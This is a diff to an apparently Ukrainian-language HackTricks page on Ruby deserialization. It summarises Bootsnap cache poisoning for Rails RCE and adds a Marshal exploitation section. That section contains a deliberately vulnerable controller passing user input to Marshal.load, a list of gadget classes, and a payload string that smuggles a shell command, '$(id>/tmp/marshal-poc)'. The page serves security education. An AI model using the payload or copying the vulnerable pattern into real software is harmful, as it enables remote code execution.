деталей у [**оригінальному пості**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Перевірте деталі в [**оригінальному пості**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). ### Bootstrap Caching Це не зовсім вразливість десеріалізації, але гарний трюк для зловживання кешуванням Bootstrap, щоб отримати RCE з Rails-додатку з довільним записом файлів (знайдіть повний [оригінальний пост тут](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). -Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів, зловживаючи кешуванням Bootsnap: +Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів шляхом зловживання кешуванням Bootsnap: - Визначте вразливість і середовище -Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap). +Функціональність завантаження файлів Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap). - Зрозумійте механізм кешування Bootsnap @@ -994,11 +994,11 @@ Bootsnap прискорює час завантаження Rails, кешуюч - Зберіть метадані файлу -Зловмисник спочатку вибирає цільовий файл, який, ймовірно, завантажується під час запуску Rails (наприклад, set.rb з стандартної бібліотеки Ruby). Виконавши Ruby-код всередині контейнера, вони витягують критично важливі метадані (такі як RUBY_VERSION, RUBY_REVISION, розмір, mtime та compile_option). Ці дані є важливими для створення дійсного кеш-ключа. +Зловмисник спочатку вибирає цільовий файл, який, ймовірно, завантажується під час запуску Rails (наприклад, set.rb з стандартної бібліотеки Ruby). Виконуючи Ruby-код всередині контейнера, вони витягують критично важливі метадані (такі як RUBY_VERSION, RUBY_REVISION, розмір, mtime та compile_option). Ці дані є важливими для створення дійсного кеш-ключа. - Обчисліть шлях до кеш-файлу -Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/). +Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де Bootsnap його очікує (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/). - Створіть шкідливий кеш-файл @@ -1010,8 +1010,57 @@ Bootsnap прискорює час завантаження Rails, кешуюч Це корисне навантаження компілюється в бінарний Ruby-код і конкатенується з ретельно складеним заголовком кеш-ключа (використовуючи раніше зібрані метадані та правильний номер версії для Bootsnap). -- Перезаписати та запустити виконання -Використовуючи вразливість довільного запису файлів, зловмисник записує підготовлений кеш-файл у обчислене місце. Далі вони ініціюють перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE). +- Перезаписати та викликати виконання +Використовуючи вразливість довільного запису файлів, зловмисник записує підготовлений кеш-файл у обчислене місце. Далі вони викликають перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE). +### Експлуатація Ruby Marshal на практиці (оновлено) + +Вважайте будь-який шлях, де ненадійні байти досягають `Marshal.load`/`marshal_load`, як RCE-канал. Marshal відновлює довільні графи об'єктів і викликає зворотні виклики бібліотек/гемів під час матеріалізації. + +- Мінімальний вразливий код Rails: +```ruby +class UserRestoreController < ApplicationController +def show +user_data = params[:data] +if user_data.present? +deserialized_user = Marshal.load(Base64.decode64(user_data)) +render plain: "OK: #{deserialized_user.inspect}" +else +render plain: "No data", status: :bad_request +end +end +end +``` +- Загальні класи гаджетів, які зустрічаються в реальних ланцюгах: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Типовий маркер побічного ефекту, вбудований у корисне навантаження (виконується під час десеріалізації): +``` +*-TmTT="$(id>/tmp/marshal-poc)"any.zip +``` +Де це з'являється в реальних додатках: +- Rails кеш-сховища та сховища сесій історично використовують Marshal +- Фонові завдання та об'єктні сховища з підтримкою файлів +- Будь-яка кастомна персистенція або транспортування бінарних об'єктних блобів + +Індустріалізоване виявлення гаджетів: +- Використовуйте grep для конструкторів, `hash`, `_load`, `init_with` або методів з побічними ефектами, які викликаються під час розпакування +- Використовуйте запити CodeQL для небезпечної десеріалізації Ruby, щоб відстежити джерела → стоки та виявити гаджети +- Перевірте за допомогою публічних багатоформатних PoC (JSON/XML/YAML/Marshal) + +## Посилання + +- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ +- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html +- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 +- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization +- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ +- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ +- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization +- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html +- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html +- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 +- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 +- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}}